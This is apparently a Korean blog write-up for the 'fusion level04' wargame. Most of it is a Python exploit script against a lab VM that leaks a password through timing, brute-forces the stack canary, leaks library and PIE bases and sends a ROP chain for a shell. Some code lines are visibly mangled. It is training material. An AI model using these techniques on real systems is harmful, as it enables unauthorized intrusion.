본문 바로가기

Wargames/fusion

fusion level04


얘도 엄청 어려웠다ㅋㅋㅋㅋ 두 군데에서 삽질을 했는데 첫 번째는 이 프로그램이 데몬으로 돌아가서 실행할 때마다 패스워드와 카나리, 베이스 주소 등등이 바뀌는 줄 알고 어떻게 할까 고민고민 하다가 성우형이 소켓이라는 사실과 패스워드를 구해내는 힌트를 주셔서 겨우 이 고비를 넘겼었다. 그리고 익스플로잇을 다 짠 후에 이번에는 당연히 소켓이니까 소켓용 /bin/sh를 보내다가 dup2 함수를 통해 파일디스크립터가 표준으로 바뀌어 있음을 깨닫고 일반 /bin/sh로 보내니까 쉘이 잘 따였다. 이 두 개 때문에 거의 이틀을 버렸다..ㅠㅠ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from SunKn0wn import *
 
def get_password_char(tmp_table):
    for i in range(len(tmp_table) - 1):        # Select Sorting
        for j in range(i + 1len(tmp_table)):
            if ord(tmp_table[i]) > ord(tmp_table[j]):
                tmp_table[i], tmp_table[j] = tmp_table[j], tmp_table[i]
    return tmp_table[len(tmp_table) / 2]
 
#################### Get Password ####################
password = ''
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
 
for i in range(15):
    tmp_table = []
    min_time = 1
    min_char = '_'
    for j in range(5):
        for k in table:
            r = remote('192.168.179.151'20004)
            r.sendline('GET /opt/fusion/level04 HTTP/1.1')
            payload = 'Authorization: Basic '
            payload += base64encode(password + k)
            r.sendline(payload)
            tstart = time.time()
            r.recv(1024)
            tend = time.time()
            if (tend - tstart) < min_time:
                min_time = tend - tstart
                min_char = k
            r.close()
        tmp_table.append(min_char)
    password += get_password_char(tmp_table)
    print "[*]Leaking password : " + password + '_' * (15 - i) + '  [%d / 16]' % (i + 1)
 
for i in table:
    r = remote('192.168.179.151'20004)
    r.sendline('GET /opt/fusion/level04 HTTP/1.1')
    payload = 'Authorization: Basic '
    payload += base64encode(password + i + 'A' * 2100)
    r.sendline(payload)
    recv = r.recvall()
    if "smashing" in recv:
        password += i
        r.close()
        break
    r.close()
    
print "[!]Password : " + password
 
#################### Get Canary ####################
canary = ''
 
for i in range(4):
    for j in range(0x100):
        r = remote('192.168.179.151'20004)
        r.sendline('GET /opt/fusion/level04 HTTP/1.1')
        payload = 'Authorization: Basic '
        payload += base64encode(password + 'A' * 2032 + canary + chr(j))
        r.sendline(payload)
        recv = r.recvall()
        if "smashing" not in recv:
            print "[*]Found canary byte : " + str(hex(j))
            canary += chr(j)
            r.close()
            break
        r.close()
print "[!]Canary : " + str(hex(up32(canary)))
 
#################### Get library/PIE Base Address ####################
Lib_Base = 0
PIE_Base = 0
 
= remote('192.168.179.151'20004)
r.sendline('GET /opt/fusion/level04 HTTP/1.1')
payload = 'Authorization: Basic '
payload += base64encode(password + 'A' * 2033)
r.sendline(payload)
recv = r.recvall()
Lib_Base = int(recv[188:196], 16- 0xe7887
print "[!]Lib_Base : " + str(hex(Lib_Base))
PIE_Base = int(recv[219:227], 16- 0x2dd1
print "[!]PIE_Base : " + str(hex(PIE_Base))
r.close()
 
#################### Exploit ####################
system_lib = Lib_Base + 0x0003CB20
read_lib = Lib_Base + 0x000C1240
pppr = PIE_Base + 0x00002D9D
bss = PIE_Base + 0x00004280
 
= remote('192.168.179.151'20004)
r.sendline('GET /opt/fusion/level04 HTTP/1.1')
payload = password + 'A' * 2032 + canary + 'A' * 28
payload += p32(read_lib)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(0x100)
payload += p32(system_lib)
payload += 'AAAA'
payload += p32(bss)
payload = 'Authorization: Basic ' + base64encode(payload)
r.sendline(payload)
sleep(0.2)
r.send(binsh)
r.interactive()
cs


'Wargames > fusion' 카테고리의 다른 글

fusion level03  (0) 2016.04.25
fusion level02  (0) 2016.04.20
fusion level01  (0) 2016.04.15
fusion level00  (2) 2016.04.15